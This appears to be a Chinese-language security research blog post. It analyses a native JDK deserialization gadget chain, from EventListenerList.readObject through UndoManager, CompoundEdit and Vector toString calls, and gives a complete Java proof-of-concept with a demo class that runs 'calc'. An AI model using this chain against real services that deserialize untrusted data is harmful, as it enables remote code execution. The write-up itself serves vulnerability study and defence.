一条JDK原生的触发toString的链子
依赖
依赖的话我还是用最经典的jdk8u65,链子的限制版本还没手动去测
链子分析
javax.swing.event.EventListenerList#readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { listenerList = NULL_ARRAY; s.defaultReadObject(); Object listenerTypeOrNull;
while (null != (listenerTypeOrNull = s.readObject())) { ClassLoader cl = Thread.currentThread().getContextClassLoader(); EventListener l = (EventListener)s.readObject(); String name = (String) listenerTypeOrNull; ReflectUtil.checkPackageAccess(name); add((Class<EventListener>)Class.forName(name, true, cl), l); } }
|
主要看最后一句
1
| add((Class<EventListener>)Class.forName(name, true, cl), l);
|
内部调用forName使用类加载器加载相关类,true表示加载类后会初始化类,即执行静态代码块,加载类后强制转化成EventListener类型,最后调用add将类的Class对象和实例对象添加为监听器
所以这里我们需要找到能够强制转换为 EventListener 类型,并且实现 Serializable 接口的类。
EventListenerList#add
跟进add方法

可以看到这里有隐式调用toString的操作,会调用到实例对象的toString方法
所以我们需要找到这样一个类:
- 能够强制转换为 EventListener 类型
- 实现 Serializable 接口
- 内部有toString方法
然后我们找到一个UndoManager类

实现了UndoableEditListener接口,而这个接口继承了EventListener类

返回来看UndoManager类还继承自CompoundEdit类,该类的继承类AbstractUndoableEdit实现了Serializable接口,那么到这里两个条件就满足了
UndoManager#toString
看到UndoManager类中的toString方法
1 2 3 4
| public String toString() { return super.toString() + " limit: " + limit + " indexOfNextAdd: " + indexOfNextAdd; }
|
这里limit和indexOfNextAdd属性都是int类型,并没有可以利用的地方,我们进入super.toString()看看
CompoundEdit#toString
1 2 3 4 5 6
| public String toString() { return super.toString() + " inProgress: " + inProgress + " edits: " + edits; }
|

inProgress是一个布尔类型,但是edits却是Vector类的对象,那么会调用到Vector#toString
Vector#toString
1 2 3
| public synchronized String toString() { return super.toString(); }
|
继续回溯
AbstractCollection#toString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public String toString() { Iterator<E> it = iterator(); if (! it.hasNext()) return "[]";
StringBuilder sb = new StringBuilder(); sb.append('['); for (;;) { E e = it.next(); sb.append(e == this ? "(this Collection)" : e); if (! it.hasNext()) return sb.append(']').toString(); sb.append(',').append(' '); } }
|
新建了一个迭代器对象循环集合中的元素并拼接,如果元素 e 正好就是集合本身就输出(this Collection),否则会输出元素e的toString
我们可以通过add方法将恶意类添加进去
1 2 3 4 5 6 7 8 9 10
| public void add(E e) { int i = cursor; synchronized (Vector.this) { checkForComodification(); Vector.this.add(i, e); expectedModCount = modCount; } cursor = i + 1; lastRet = -1; }
|
继续跟进StringBuilder.append方法
StringBuilder#append

跟进valueOf
String#valueOf

会调用到obj的toString,到这里就可以进行任意类的toString调用了
注意的问题
需要注意一个点,就是在EventListenerList#add中

这里会检查传入的实例对象是否是t加载类的实例对象,所以我们在UndoManager对象前面在加一个Class。说到底只要不是UndoManager.class就行
POC的编写
写一个测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package SerializeChains.Chain_EventListenerList;
import java.io.Serializable;
public class Test implements Serializable { public String name; public Test(String name) { this.name = name; } public String toString(){ try{ Runtime.getRuntime().exec("calc"); }catch(Exception e){ throw new RuntimeException(e); } return "name: " + name; } }
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| package SerializeChains.Chain_EventListenerList;
import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.Vector;
public class POC { public static void main(String[] args) throws Exception { Test test = new Test("wanth3f1ag"); EventListenerList eventListenerList = (EventListenerList) getEventListenerList(test);
String ser = serialize(eventListenerList); unserialize(ser); } public static Object getEventListenerList(Object object) throws Exception{ EventListenerList eventListenerList = new EventListenerList(); UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager,"edits"); vector.add(object);
setFieldValue(eventListenerList,"listenerList", new Object[]{Class.class, undoManager}); return eventListenerList; } public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception{ final Field f = getField (obj.getClass (), fieldName ); return f.get (obj); } public static Field getField( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if (field != null) field.setAccessible(true); else if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
return field; } catch (NoSuchFieldException e) { if (!clazz.getSuperclass().equals(Object.class)) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static String serialize(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(object); oos.close(); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String poc) throws Exception{ byte[] bytes = Base64.getDecoder().decode(poc); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream); ois.readObject(); } }
|


函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| toString:13, Test (SerializeChains.Chain_EventListenerList) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) toString:462, AbstractCollection (java.util) toString:1000, Vector (java.util) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) toString:258, CompoundEdit (javax.swing.undo) toString:621, UndoManager (javax.swing.undo) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) add:187, EventListenerList (javax.swing.event) readObject:277, EventListenerList (javax.swing.event) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) unserialize:69, POC (SerializeChains.Chain_EventListenerList) main:16, POC (SerializeChains.Chain_EventListenerList)
|